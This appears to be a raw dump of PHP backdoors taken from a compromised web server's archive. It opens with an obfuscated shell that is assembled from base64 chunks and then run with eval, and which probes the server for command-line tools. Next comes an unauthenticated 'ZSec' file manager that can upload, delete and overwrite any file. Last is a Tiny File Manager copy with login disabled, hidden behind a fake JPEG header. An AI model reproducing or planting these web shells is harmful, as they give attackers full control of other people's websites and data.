$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cGVy";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J1B5";
$z .= "dGhv";
$z .= "biBW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "JyA9";
$z .= "PiAo";
$z .= "JHB5";
$z .= "dGhv";
$z .= "blZl";
$z .= "cnNp";
$z .= "b24g";
$z .= "PSBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cHl0";
$z .= "aG9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "KSA/";
$z .= "ICdP";
$z .= "biAo";
$z .= "JyAu";
$z .= "ICRw";
$z .= "eXRo";
$z .= "b25W";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "IC4g";
$z .= "Jykn";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdQ";
$z .= "S0VY";
$z .= "RUMg";
$z .= "VmVy";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "KCRw";
$z .= "a2V4";
$z .= "ZWNW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J3Br";
$z .= "ZXhl";
$z .= "YyAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSkg";
$z .= "PyAn";
$z .= "T24g";
$z .= "KCcg";
$z .= "LiAk";
$z .= "cGtl";
$z .= "eGVj";
$z .= "VmVy";
$z .= "c2lv";
$z .= "biAu";
$z .= "ICcp";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "Q3Vy";
$z .= "bCcg";
$z .= "PT4g";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "Jykg";
$z .= "JiYg";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J2N1";
$z .= "cmwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdX";
$z .= "Z2V0";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "d2dl";
$z .= "dCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J015";
$z .= "c3Fs";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bXlz";
$z .= "cWwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdG";
$z .= "dHAn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdm";
$z .= "dHAg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdT";
$z .= "c2gn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "c2gg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdN";
$z .= "YWls";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J2Ny";
$z .= "b24n";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdj";
$z .= "cm9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "ID8g";
$z .= "J09u";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "U2Vu";
$z .= "ZE1h";
$z .= "aWwn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "ZW5k";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ID8+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGFi";
$z .= "ZWwg";
$z .= "Zm9y";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "U2Vs";
$z .= "ZWN0";
$z .= "IEZl";
$z .= "YXR1";
$z .= "cmU6";
$z .= "PC9s";
$z .= "YWJl";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "IGlk";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "cyBh";
$z .= "cyAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSA9";
$z .= "PiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "KSA6";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "b3B0";
$z .= "aW9u";
$z .= "IHZh";
$z .= "bHVl";
$z .= "PSI8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "ICRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "OyA/";
$z .= "PiI+";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSAu";
$z .= "ICc6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "OyA/";
$z .= "Pjwv";
$z .= "b3B0";
$z .= "aW9u";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "bmRm";
$z .= "b3Jl";
$z .= "YWNo";
$z .= "OyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDwv";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "aW5m";
$z .= "by1j";
$z .= "b250";
$z .= "YWlu";
$z .= "ZXIi";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGgy";
$z .= "PlVz";
$z .= "ZXIg";
$z .= "SW5m";
$z .= "bzwv";
$z .= "aDI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "PlVz";
$z .= "ZXJu";
$z .= "YW1l";
$z .= "OiA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "IEBn";
$z .= "ZXRf";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dF91";
$z .= "c2Vy";
$z .= "KCk7";
$z .= "ID8+";
$z .= "PC9s";
$z .= "aT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "VXNl";
$z .= "ciBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXl1";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxs";
$z .= "aT5H";
$z .= "cm91";
$z .= "cCBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXln";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQog";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Rp";
$z .= "dj4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVP";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSgp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHZh";
$z .= "ciBv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSA9";
$z .= "IGRv";
$z .= "Y3Vt";
$z .= "ZW50";
$z .= "Lmdl";
$z .= "dEVs";
$z .= "ZW1l";
$z .= "bnRC";
$z .= "eUlk";
$z .= "KCdv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dScp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "b3B0";
$z .= "aW9u";
$z .= "c01l";
$z .= "bnUu";
$z .= "Y2xh";
$z .= "c3NM";
$z .= "aXN0";
$z .= "LnRv";
$z .= "Z2ds";
$z .= "ZSgn";
$z .= "c2hv";
$z .= "dycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVT";
$z .= "aWRl";
$z .= "YmFy";
$z .= "KCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "dmFy";
$z .= "IHNp";
$z .= "ZGVi";
$z .= "YXIg";
$z .= "PSBk";
$z .= "b2N1";
$z .= "bWVu";
$z .= "dC5n";
$z .= "ZXRF";
$z .= "bGVt";
$z .= "ZW50";
$z .= "QnlJ";
$z .= "ZCgn";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "cicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "ci5j";
$z .= "bGFz";
$z .= "c0xp";
$z .= "c3Qu";
$z .= "dG9n";
$z .= "Z2xl";
$z .= "KCdv";
$z .= "cGVu";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "L3Nj";
$z .= "cmlw";
$z .= "dD4N";
$z .= "Cjwv";
$z .= "ZGl2";
$z .= "Pg0K";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "Zm9v";
$z .= "dGVy";
$z .= "Ij4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "cD4m";
$z .= "Y29w";
$z .= "eTsg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBk";
$z .= "YXRl";
$z .= "KCJZ";
$z .= "Iik7";
$z .= "ID8+";
$z .= "IDxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Imh0";
$z .= "dHBz";
$z .= "Oi8v";
$z .= "d3d3";
$z .= "LmJs";
$z .= "b2ct";
$z .= "Z2Fu";
$z .= "Lm9y";
$z .= "Zy8i";
$z .= "PkNv";
$z .= "ZGVk";
$z .= "IEJ5";
$z .= "PC9h";
$z .= "PiBB";
$z .= "dmFh";
$z .= "IENv";
$z .= "ZGUu";
$z .= "PC9w";
$z .= "Pg0K";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Jv";
$z .= "ZHk+";
$z .= "DQo8";
$z .= "L2h0";
$z .= "bWw+";
$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); eval($string);
?>
PK uPm\~\ݸ5
5
z8op2.phpnu �[��� <?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
die("Direktori tidak ditemukan!");
}
if (isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}
if (isset($_POST['delete'])) {
unlink($_POST['delete']);
}
if (isset($_POST['rename'])) {
rename($_POST['oldname'], $_POST['newname']);
}
if (isset($_POST['save'])) {
file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mini File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
a { color: #0af; text-decoration: none; }
.container { width: 80%; margin: auto; text-align: left; }
.box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
.directory { font-weight: bold; }
</style>
</head>
<body>
<div class='container'>
<h2>ZSec File Manager</h2>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<button type='submit' name='upload'>Upload</button>
</form>
<div class='box'>
<p class='directory'>Current Directory: <?php echo $dir; ?></p>
<?php if (dirname($dir) !== $dir) : ?>
<a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
<?php endif; ?>
<?php
foreach (scandir($dir) as $file) {
if ($file == '.') continue;
$filePath = "$dir/$file";
if ($file == '..' && $dir === '/') continue;
echo "<div>$file ";
if (is_dir($filePath)) {
echo "<a href='?dir=$filePath'>[Open]</a> ";
} elseif (is_file($filePath)) {
echo "<a href='?edit=$filePath'>[Edit]</a> ";
}
echo "<form method='post' style='display:inline;'>
<input type='hidden' name='delete' value='$filePath'>
<button type='submit'>Hapus</button>
</form>
<form method='post' style='display:inline;'>
<input type='hidden' name='oldname' value='$filePath'>
<input type='text' name='newname' placeholder='Nama baru'>
<button type='submit' name='rename'>Rename</button>
</form>
</div>";
}
?>
</div>
</div>
<?php if (isset($_GET['edit'])): ?>
<?php $file = $_GET['edit']; ?>
<div class='container'>
<h3>Edit File</h3>
<form method='post'>
<input type='hidden' name='filepath' value='<?php echo $file; ?>'>
<textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
<button type='submit' name='save'>Simpan</button>
</form>
</div>
<?php endif; ?>
</body>
</html>PK uPm\��Z��� �� b9xpi.phpnu �[��� ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';
/**
* H3K | Tiny File Manager V2.4.3
* CCP Programmers | ccpprogrammers@gmail.com
* https://tinyfilemanager.github.io
*/
//TFM version
define('VERSION', '2.4.3');
//Application Title
define('APP_TITLE', 'Tiny File Manager');
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);
//set application theme
//options - 'light' and 'dark'
$theme = 'dark';
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
'user'
);
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 2048;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1', // local ipv4
'::1' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0', // non-routable meta ipv4
'::' // non-routable meta ipv6
);
// if User has the customized config file, try to use it to override the default config above
$config_file = './config.php';
if (is_readable($config_file)) {
@include($config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('FM_THEME', $theme);
// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
//available languages
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
// Show image here
if (isset($_GET['img'])) {
fm_show_image($_GET['img']);
}
// Validate connection IP
if($ip_ruleset != 'OFF'){
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg('Access denied. IP restriction applicable', 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Auth
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="form-group">
<div class="brand">
